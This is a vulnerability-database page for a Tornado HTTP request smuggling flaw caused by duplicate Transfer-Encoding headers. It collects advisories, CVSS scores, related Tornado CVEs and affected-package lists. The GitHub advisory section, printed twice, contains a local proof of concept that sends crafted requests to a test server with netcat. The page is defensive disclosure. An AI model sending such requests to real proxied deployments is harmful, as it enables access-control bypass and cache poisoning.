Every CVE Search/ Get API key

CVE-2024-14029

Tornado before 6.4.1 HTTP Request Smuggling via Transfer-Encoding

9.0 CriticalFix available

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
High
Availability
None

Exploit likelihood

0.36%Unchanged since Sep 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.0

Tornado before 6.4.1 HTTP Request Smuggling via Transfer-Encoding

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
CVE-2024-14029
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-444
Updated
2026-11-02
EUVDEUVD-2024-55765 9.0

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
EUVD-2024-55765
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-753j-mpmx-qq6g 5.3

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

  1. Install Tornado.
  2. Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &
  1. Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
  1. Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z
  1. Send a request with two Transfer-Encoding: chunked headers:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
  1. Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Record
GHSA-753j-mpmx-qq6g
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-444
Updated
2026-11-02
GitHub AdvisoriesGHSA-hr42-gv84-2f3g 9.0

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as...

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
GHSA-hr42-gv84-2f3g
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-444
Updated
2026-11-02
NVD 9.0

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
CVE-2024-14029
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-444
Updated
2026-11-02
OSV 9.0

Tornado before 6.4.1 HTTP Request Smuggling via Transfer-Encoding

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
CVE-2024-14029
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N
Weakness
CWE-444
Updated
2026-11-02
Show 24 moreShow less
OSVDEBIAN-CVE-2024-14029 9.0

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
DEBIAN-CVE-2024-14029
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVGHSA-753j-mpmx-qq6g 5.3

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

  1. Install Tornado.
  2. Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &
  1. Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
  1. Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z
  1. Send a request with two Transfer-Encoding: chunked headers:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
  1. Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Record
GHSA-753j-mpmx-qq6g
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-444
Updated
2026-11-02
OSVOESA-2026-4034 7.5

python-tornado security update

Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.

Security Fix(es):

Tornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)

Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)

Tornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)

Tornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)

Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)

Record
OESA-2026-4034
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Updated
2026-11-02
OSVOESA-2026-4035 7.5

python-tornado security update

Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.

Security Fix(es):

Tornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)

Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)

Tornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)

Tornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)

Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)

Record
OESA-2026-4035
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Updated
2026-11-02
OSVOESA-2026-4036 7.5

python-tornado security update

Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.

Security Fix(es):

Tornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)

Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)

Tornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)

Tornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)

Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)

Record
OESA-2026-4036
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Updated
2026-11-02
OSVOESA-2026-4037 7.7

python-tornado security update

Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.

Security Fix(es):

Tornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)

Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin. As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default. Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.(CVE-2026-49853)

SummaryTornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active. ### MitigationsThis bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).(CVE-2026-49854)

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set. This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.(CVE-2026-49855)

Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.8, Tornado parses application/x-www-form-urlencoded request bodies with urllib.parse.parse_qs in tornado/escape.py without passing max_num_fields. RequestHandler._execute in tornado/web.py parses the body before handler dispatch through HTTPServerRequest._parse_body and parse_body_arguments in tornado/httputil.py, so an unauthenticated request body containing millions of separator-delimited fields can synchronously stall the single-threaded event loop and…

Record
OESA-2026-4037
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
OSVRHSA-2024:10590 7.5

Red Hat Security Advisory: python-tornado security update

Record
RHSA-2024:10590
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2024:10836 7.5

Red Hat Security Advisory: python-tornado security update

Record
RHSA-2024:10836
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2024:10843 7.5

Red Hat Security Advisory: python-tornado security update

Record
RHSA-2024:10843
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2025:2470 7.5

Red Hat Security Advisory: pcs security update

Record
RHSA-2025:2470
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2025:2471 7.5

Red Hat Security Advisory: pcs security update

Record
RHSA-2025:2471
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2025:3108 7.5

Red Hat Security Advisory: pcs security update

Record
RHSA-2025:3108
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:84798 7.5

Red Hat Security Advisory: pcs security update

Record
RHSA-2026:84798
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:84843 7.5

Red Hat Security Advisory: pcs security update

Record
RHSA-2026:84843
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:84844 7.5

Red Hat Security Advisory: pcs security update

Record
RHSA-2026:84844
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:85135 7.5

Red Hat Security Advisory: pcs security update

Record
RHSA-2026:85135
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRLSA-2026:84798 7.5

Important: pcs security update

The pcs packages provide a command-line configuration system for the Pacemaker and Corosync utilities.

Security Fix(es):

  • python-tornado: Tornado: Denial of Service via excessive URL-encoded body fields (CVE-2026-82397)

  • python-tornado: Tornado before 6.4.1 HTTP Request Smuggling via Transfer-Encoding (CVE-2024-14029)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:84798
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Updated
2026-11-02
OSVROOT-APP-PYPI-GHSA-753j-mpmx-qq6g 5.3

GHSA-753j-mpmx-qq6g in tornado - Patched by Root

Root has patched GHSA-753j-mpmx-qq6g in the tornado package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-GHSA-753j-mpmx-qq6g
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2024-14029 9.0

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
UBUNTU-CVE-2024-14029
CVSS 4.0
9.0 CriticalCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Updated
2026-11-02
OSVALSA-2026:84798 No score

Important: pcs security update

The pcs packages provide a command-line configuration system for the Pacemaker and Corosync utilities.

Security Fix(es):

  • python-tornado: Tornado: Denial of Service via excessive URL-encoded body fields (CVE-2026-82397)
  • python-tornado: Tornado before 6.4.1 HTTP Request Smuggling via Transfer-Encoding (CVE-2024-14029)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:84798
Updated
2026-11-02
OSVAZL-103101 No score

CVE-2024-14029 affecting package python-tornado 6.3.3-11

Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.

Record
AZL-103101
Updated
2026-11-05
OSVCLSA-2026-1776386115 No score

TuxCare security update for tornado (6 CVEs)

TuxCare rebuilt tornado to address 6 CVEs. Fixed in 6.1.0.post2+tuxcare.

Record
CLSA-2026-1776386115
Updated
2026-11-02
OSVCLSA-2026-1790675116 No score

TuxCare security update for tornado (15 CVEs)

TuxCare rebuilt tornado to address 15 CVEs. Fixed in 5.1.1.post4+tuxcare.

Record
CLSA-2026-1790675116
Updated
2026-11-02
OSVUSN-8952-1 No score

python-tornado vulnerabilities

It was discovered that Tornado did not properly handle certain HTTP requests and network inputs. An attacker could possibly use these issues to cause a denial of service, expose sensitive information, or bypass access controls.

(CVE-2023-54397, CVE-2024-14029, CVE-2026-91990, CVE-2026-91992, CVE-2026-103262, CVE-2026-103263)

Record
USN-8952-1
Updated
2026-11-06

Affected products

Affected packages

Affected packages
PackageAffectedFixed
tornado
PyPI
through 6.4.0
6.4.1
pcs
AlmaLinux:8
From an advisory covering 2 CVEs
before 0.10.18-2.el8_10.10.alma.1
0.10.18-2.el8_10.10.alma.1
pcs-snmp
AlmaLinux:8
From an advisory covering 2 CVEs
before 0.10.18-2.el8_10.10.alma.1
0.10.18-2.el8_10.10.alma.1
python-tornado
Azure Linux:3
through 6.3.3-11 None known
tornado
TuxCare:PyPI
From an advisory covering 2 CVEs
6.1 up to 6.1.0.post2+tuxcare, plus listed versions
6.1.0.post1+tuxcare
6.1.0.post2+tuxcare
tornado
TuxCare:PyPI
From an advisory covering 9 CVEs
5.1.1 up to 5.1.1.post4+tuxcare, plus listed versions
5.1.1.post1+tuxcare5.1.1.post2+tuxcare5.1.1.post3+tuxcare
5.1.1.post4+tuxcare
python-tornado
Debian:12
All versions, plus listed versions
6.2.0-36.2.0-3+deb12u16.2.0-3+deb12u26.2.0-3+deb12u36.2.0-3+deb12u4
Show 20 moreShow less
6.3.2-16.4.0-16.4.0-26.4.1-16.4.1-26.4.1-36.4.2-16.4.2-26.4.2-36.5.2-16.5.2-26.5.2-36.5.4-0.16.5.4-16.5.5-16.5.5-26.5.5-36.5.5-46.5.5-56.6.0-1
None known
python-tornado
Debian:13
before 6.4.1-1
6.4.1-1
python-tornado
Debian:14
before 6.4.1-1
6.4.1-1
tornado
PyPI
before 6.4.1, plus listed versions
0.21.01.11.1.11.2
Show 45 moreShow less
1.2.12.02.12.1.12.22.2.12.32.42.4.13.03.0.13.0.23.13.1.13.23.2.13.2.24.04.0.14.0.24.14.1b24.24.2.14.2b14.34.3b14.3b24.44.4.14.4.24.4.34.4b14.54.5.14.5.24.5.34.5b14.5b25.05.0.15.0.25.0a15.0b15.1
6.4.1
Show 55 moreShow less
Affected packages
PackageAffectedFixed
python-tornado
openEuler:24.03-LTS-SP1
From an advisory covering 6 CVEs
before 6.5.10-1.oe2403sp1
6.5.10-1.oe2403sp1
python-tornado
openEuler:24.03-LTS-SP3
From an advisory covering 6 CVEs
before 6.5.10-1.oe2403sp3
6.5.10-1.oe2403sp3
python-tornado
openEuler:24.03-LTS-SP4
From an advisory covering 6 CVEs
before 6.5.10-1.oe2403sp4
6.5.10-1.oe2403sp4
python-tornado
openEuler:22.03-LTS-SP4
From an advisory covering 10 CVEs
before 6.5.10-1.oe2203sp4
6.5.10-1.oe2203sp4
python-tornado
Red Hat:enterprise_linux:9::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_5
0:6.4.2-1.el9_5
python-tornado-debugsource
Red Hat:enterprise_linux:9::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_5
0:6.4.2-1.el9_5
python3-tornado
Red Hat:enterprise_linux:9::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_5
0:6.4.2-1.el9_5
python3-tornado-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_5
0:6.4.2-1.el9_5
python-tornado
Red Hat:rhel_eus:9.2::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_2
0:6.4.2-1.el9_2
python-tornado-debugsource
Red Hat:rhel_eus:9.2::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_2
0:6.4.2-1.el9_2
python3-tornado
Red Hat:rhel_eus:9.2::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_2
0:6.4.2-1.el9_2
python3-tornado-debuginfo
Red Hat:rhel_eus:9.2::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_2
0:6.4.2-1.el9_2
python-tornado
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_4
0:6.4.2-1.el9_4
python-tornado-debugsource
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_4
0:6.4.2-1.el9_4
python3-tornado
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_4
0:6.4.2-1.el9_4
python3-tornado-debuginfo
Red Hat:rhel_eus:9.4::appstream
From an advisory covering 2 CVEs
before 0:6.4.2-1.el9_4
0:6.4.2-1.el9_4
pcs
Red Hat:rhel_eus:9.4::highavailability
From an advisory covering 2 CVEs
before 0:0.11.7-2.el9_4.3
0:0.11.7-2.el9_4.3
pcs-snmp
Red Hat:rhel_eus:9.4::highavailability
From an advisory covering 2 CVEs
before 0:0.11.7-2.el9_4.3
0:0.11.7-2.el9_4.3
pcs
Red Hat:rhel_eus:9.4::resilientstorage
From an advisory covering 2 CVEs
before 0:0.11.7-2.el9_4.3
0:0.11.7-2.el9_4.3
pcs-snmp
Red Hat:rhel_eus:9.4::resilientstorage
From an advisory covering 2 CVEs
before 0:0.11.7-2.el9_4.3
0:0.11.7-2.el9_4.3
pcs
Red Hat:enterprise_linux:9::highavailability
From an advisory covering 2 CVEs
before 0:0.11.8-1.el9_5.2
0:0.11.8-1.el9_5.2
pcs-snmp
Red Hat:enterprise_linux:9::highavailability
From an advisory covering 2 CVEs
before 0:0.11.8-1.el9_5.2
0:0.11.8-1.el9_5.2
pcs
Red Hat:enterprise_linux:9::resilientstorage
From an advisory covering 2 CVEs
before 0:0.11.8-1.el9_5.2
0:0.11.8-1.el9_5.2
pcs-snmp
Red Hat:enterprise_linux:9::resilientstorage
From an advisory covering 2 CVEs
before 0:0.11.8-1.el9_5.2
0:0.11.8-1.el9_5.2
pcs
Red Hat:rhel_eus:9.2::highavailability
From an advisory covering 2 CVEs
before 0:0.11.4-7.el9_2.4
0:0.11.4-7.el9_2.4
pcs-snmp
Red Hat:rhel_eus:9.2::highavailability
From an advisory covering 2 CVEs
before 0:0.11.4-7.el9_2.4
0:0.11.4-7.el9_2.4
pcs
Red Hat:rhel_eus:9.2::resilientstorage
From an advisory covering 2 CVEs
before 0:0.11.4-7.el9_2.4
0:0.11.4-7.el9_2.4
pcs-snmp
Red Hat:rhel_eus:9.2::resilientstorage
From an advisory covering 2 CVEs
before 0:0.11.4-7.el9_2.4
0:0.11.4-7.el9_2.4
pcs
